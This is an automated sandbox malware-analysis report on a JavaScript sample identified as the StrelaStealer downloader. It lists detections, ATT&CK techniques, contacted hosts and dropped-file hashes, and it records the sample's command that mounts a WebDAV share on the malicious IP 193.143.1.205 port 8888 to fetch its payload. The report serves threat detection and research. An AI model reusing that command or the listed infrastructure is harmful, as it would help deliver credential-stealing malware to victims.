Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
30362110952254914638.js	5%	Virustotal		Browse
30362110952254914638.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/H	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/L	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/H	net.exe, 00000007.00000002.2269358694.000001B1EAF8B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.2269358694.000001B1EAF58000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2290588934.000001F57F160000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3485449162.000001F57F400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2269358694.000001B1EAF8B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/L	net.exe, 00000007.00000002.2269358694.000001B1EAF8B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/n	net.exe, 00000007.00000002.2269358694.000001B1EAF58000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588559
Start date and time:	2025-01-11 02:22:49 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	30362110952254914638.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, CompPkgSrv.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 2.16.168.105, 2.16.168.107, 13.107.246.45, 34.237.241.83, 4.175.87.197, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:23:51	API Interceptor	26x Sleep call for process: powershell.exe modified
20:23:55	API Interceptor	1x Sleep call for process: net.exe modified
20:23:57	API Interceptor	2x Sleep call for process: svchost.exe modified
20:24:05	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2752019937704124971.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	18731127942186526806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1792532021822412669.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18971281001132729595.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2752019937704124971.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17985298091058916725.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263237451562756
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0o:9JZj5MiKNnNhoxu5
MD5:	4DBFA65D4EAE8232B897C3AC6DA6C098
SHA1:	6443E515822DEFD31842879A626233402236F141
SHA-256:	A0EAE9183C3179550BB85746254C366C4C1A2BA51793D3284E27722E1CFA3700
SHA-512:	F29F46C21C99F880E5F8D910E778D19D083AC6E24DC62C8ABC980956CECC8E9ACFF4127C8108663BB1A7E5CCA7CAA9130B8E9981631BCB5BA7B6C3A79BF138DF
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x55a30582, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.755567603289279
Encrypted:	false
SSDEEP:	1536:FSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:FazaSvGJzYj2UlmOlOL
MD5:	53C522112077FB9B32508FABB4F8DEF2
SHA1:	16E20B4E5DA2F1D2D792CB55A7393870E142967E
SHA-256:	6704BD09A5FFEC4D0288DB13D2571F31377BFEC39B4A2FA962870AFEC24F8103
SHA-512:	F46886FA1891B2CFF32078A40EDE88DBF221EC2A8CBED7D3EF5EE4A8CE98C2E57D3A0AD8C9480C7A6BCFD45C8A152553E5B7E24FF56F389BCDF708775F384343
Malicious:	false
Preview:	U...... .......7.......X\...;...{......................0.e......!...{?.9....}w.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................d...9....}...................{j.9....}w..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07972507504571215
Encrypted:	false
SSDEEP:	3:M1KYer3rYZcvfNaAPaU1lBP0/lalluxmO+l/SNxOf:kKzr3r2ENDPaUpPUAgmOH
MD5:	DA62328333F6D62FD02155CBA545C32F
SHA1:	B5270851C4003853D358610DE663763F25DA0993
SHA-256:	3B0E4AF4C69C917690E54447BEA7858D4F76C793E508488BD5CD77A2DC9539B8
SHA-512:	D4E6D46A23DE83E08E42A67E37921916D9E7322BB373B2B04A7CB05F432B20E4BD66467EBBF4EBD14F775399EA4F061902FD4E0BCB5E91D9E1DF393011160B8E
Malicious:	false
Preview:	p........................................;...{..9....}w..!...{?..........!...{?..!...{?..g...!...{?..................{j.9....}w.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.166009851315362
Encrypted:	false
SSDEEP:	6:iO4qVAQ8RJkq2PN72nKuAl9OmbnIFUtSqVAQ8RgZmwsqVAQ8RIkwON72nKuAl9Oe:7n1ikvVaHAahFUtZ1R/L1L5OaHAaSJ
MD5:	E162ED6D6F8D2F0E0188729847DA9C87
SHA1:	3A21B1D16B04242190030DDEDD64659313652997
SHA-256:	8BA01D12D960F0D6898B462684B552F28CB589DD0654E81DDE2C119EFE10BF43
SHA-512:	12929429E3C3B830FCEE20B1E877B0853B7C947A5E9428A9D7ABF514387C7C91BC4351DD5233402A9458450C4B5C31B7154945EC8C026DF46266A737AA3E3C2A
Malicious:	false
Preview:	2025/01/10-20:23:56.946 c10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:23:56.949 c10 Recovering log #3.2025/01/10-20:23:56.949 c10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.166009851315362
Encrypted:	false
SSDEEP:	6:iO4qVAQ8RJkq2PN72nKuAl9OmbnIFUtSqVAQ8RgZmwsqVAQ8RIkwON72nKuAl9Oe:7n1ikvVaHAahFUtZ1R/L1L5OaHAaSJ
MD5:	E162ED6D6F8D2F0E0188729847DA9C87
SHA1:	3A21B1D16B04242190030DDEDD64659313652997
SHA-256:	8BA01D12D960F0D6898B462684B552F28CB589DD0654E81DDE2C119EFE10BF43
SHA-512:	12929429E3C3B830FCEE20B1E877B0853B7C947A5E9428A9D7ABF514387C7C91BC4351DD5233402A9458450C4B5C31B7154945EC8C026DF46266A737AA3E3C2A
Malicious:	false
Preview:	2025/01/10-20:23:56.946 c10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:23:56.949 c10 Recovering log #3.2025/01/10-20:23:56.949 c10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.100051383275453
Encrypted:	false
SSDEEP:	6:iO4qVAQSPu1M+q2PN72nKuAl9Ombzo2jMGIFUtSqVAQSOvZmwsqVAQSB8MVkwONx:7n1SPd+vVaHAa8uFUtZ1SS/L1STV5Oag
MD5:	0676C300B695CF794BCDE9945FBE0145
SHA1:	954B3D642D56D028F4B7FADBE2BE324A464FE202
SHA-256:	7F990AD853A810AA60322A8FCC080A695FA27F22F31DE56950EB99230DB09F15
SHA-512:	19E71E7A838CA9589F9B27234C827EA95B8000A44BFD0BDA841D39764BD3CB88AB5A412BF09AF438EE3F142961B7DF78B30F83F64CFFD284DCCE04F8A8267918
Malicious:	false
Preview:	2025/01/10-20:23:57.006 13ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:23:57.007 13ac Recovering log #3.2025/01/10-20:23:57.008 13ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.100051383275453
Encrypted:	false
SSDEEP:	6:iO4qVAQSPu1M+q2PN72nKuAl9Ombzo2jMGIFUtSqVAQSOvZmwsqVAQSB8MVkwONx:7n1SPd+vVaHAa8uFUtZ1SS/L1STV5Oag
MD5:	0676C300B695CF794BCDE9945FBE0145
SHA1:	954B3D642D56D028F4B7FADBE2BE324A464FE202
SHA-256:	7F990AD853A810AA60322A8FCC080A695FA27F22F31DE56950EB99230DB09F15
SHA-512:	19E71E7A838CA9589F9B27234C827EA95B8000A44BFD0BDA841D39764BD3CB88AB5A412BF09AF438EE3F142961B7DF78B30F83F64CFFD284DCCE04F8A8267918
Malicious:	false
Preview:	2025/01/10-20:23:57.006 13ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:23:57.007 13ac Recovering log #3.2025/01/10-20:23:57.008 13ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9bcb2157-3dff-4da0-8b36-fcb2542d13f0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.953094949502677
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqwSQsBdOg2Hb2caq3QYiubcP7E4T3y:Y2sRdszSFdMHd3QYhbA7nby
MD5:	63581E81AD5883767C6283E0F59AE45E
SHA1:	108126FF0F14962148CB9D3FD7E4D4F92527DC13
SHA-256:	BB8CAE1865C1C5FA030054B06829EC6D260908C18E877F312DEDB7E4A17376A6
SHA-512:	D9E1246D4EFECF43EC737D1AC0AB404698F9E065706A5E00FE5659D63024C2D8D8A2F4425945BA1CEEAAA97E7BA34E1D6917FF42CD317705EE5E8C1FA898698C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118648671068","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121862},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.953094949502677
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqwSQsBdOg2Hb2caq3QYiubcP7E4T3y:Y2sRdszSFdMHd3QYhbA7nby
MD5:	63581E81AD5883767C6283E0F59AE45E
SHA1:	108126FF0F14962148CB9D3FD7E4D4F92527DC13
SHA-256:	BB8CAE1865C1C5FA030054B06829EC6D260908C18E877F312DEDB7E4A17376A6
SHA-512:	D9E1246D4EFECF43EC737D1AC0AB404698F9E065706A5E00FE5659D63024C2D8D8A2F4425945BA1CEEAAA97E7BA34E1D6917FF42CD317705EE5E8C1FA898698C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118648671068","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121862},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.253495901559647
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7Fd+:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzh2
MD5:	C326B1797DBDB18777C3445495EFF56D
SHA1:	7E84FDB670F9EF5A765502405457F97789B418D1
SHA-256:	A1B13DE3A3E36FF52A44566E2B409531315FFD83FB123B7AF90496BE50A0FACB
SHA-512:	A146BCA5C5DC3A9F7E156B037A5BF93675C39B745CD698617C5EB2CD9FB17B11117D202DB5F1B2FFD4793CA13FC41E0408A78716F90EBCD36F1B824D7C4EF548
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1017214727488644
Encrypted:	false
SSDEEP:	6:iO4qVAQSliM+q2PN72nKuAl9OmbzNMxIFUtSqVAQS3ZmwsqVAQSrpMVkwON72nKA:7n1Slv+vVaHAa8jFUtZ1S3/L1SriV5OG
MD5:	C1FB0C21A79AA3D13062A24B6F54DD34
SHA1:	C88C811B0660C96934D877F80136BF953BE9BE55
SHA-256:	6F6D507974BAF1C74F4E37FF48691A0BD05CBEBD8D24DCF09BA6A3A97D80F1B2
SHA-512:	46B9F7DD6B98B2CA7D10EECF7DD0A5EA50D60FB0F988F4B717D54D0B1F9EED8E773CB2DADE574A2881AD4C07B69AE239041FA4BF6D3D024220E12500F77C8794
Malicious:	false
Preview:	2025/01/10-20:23:57.213 13ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:23:57.215 13ac Recovering log #3.2025/01/10-20:23:57.216 13ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1017214727488644
Encrypted:	false
SSDEEP:	6:iO4qVAQSliM+q2PN72nKuAl9OmbzNMxIFUtSqVAQS3ZmwsqVAQSrpMVkwON72nKA:7n1Slv+vVaHAa8jFUtZ1S3/L1SriV5OG
MD5:	C1FB0C21A79AA3D13062A24B6F54DD34
SHA1:	C88C811B0660C96934D877F80136BF953BE9BE55
SHA-256:	6F6D507974BAF1C74F4E37FF48691A0BD05CBEBD8D24DCF09BA6A3A97D80F1B2
SHA-512:	46B9F7DD6B98B2CA7D10EECF7DD0A5EA50D60FB0F988F4B717D54D0B1F9EED8E773CB2DADE574A2881AD4C07B69AE239041FA4BF6D3D024220E12500F77C8794
Malicious:	false
Preview:	2025/01/10-20:23:57.213 13ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:23:57.215 13ac Recovering log #3.2025/01/10-20:23:57.216 13ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444537533499896
Encrypted:	false
SSDEEP:	384:ye6ci5tFiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mus3OazzU89UTTgUL
MD5:	5021AF49BFF54F6FE083BABCA220A89F
SHA1:	06C942F6ED8CB666A59BF828BBEDB6E65C6104F3
SHA-256:	C499946451D5B8AE1BEB4C2A2B9D6247C63924F7B2483922D0776CEEBBF15FDA
SHA-512:	354AF66B72EE84E79EB0ECC32DFED046DDA90FE4256EF16E8CB51C13C7C1F102022207D8B0BF772BA44922E8B13CD1A69DC798FD60302878E5CFB1EEF2713CE3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7654807932845022
Encrypted:	false
SSDEEP:	48:7MdJioyV4fioyR8oy1C7oy16oy1jaKOioy1noy1AYoy1Wioy1oioykioyBoy1no3:7eJu4fEBWSXjBixb9IVXEBodRBk6
MD5:	EB3EF39F68B578317A345F99A8E72C61
SHA1:	729EBBB00B552CC566786416F590A15BD31F2AF9
SHA-256:	C0B9158B5E90B8005496EB8402C858C3329AB9F7197203ACD6A7A0326CB74E77
SHA-512:	1C37B4DB4D308BE72AFD815A9CA3421B59E20CD3A6D6D20DD22557387AB2E5672CF5E2509DD84B0B6A063582F99D99B96A19868FE56B71B01747D50B1037E460
Malicious:	false
Preview:	.... .c.....D..A...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
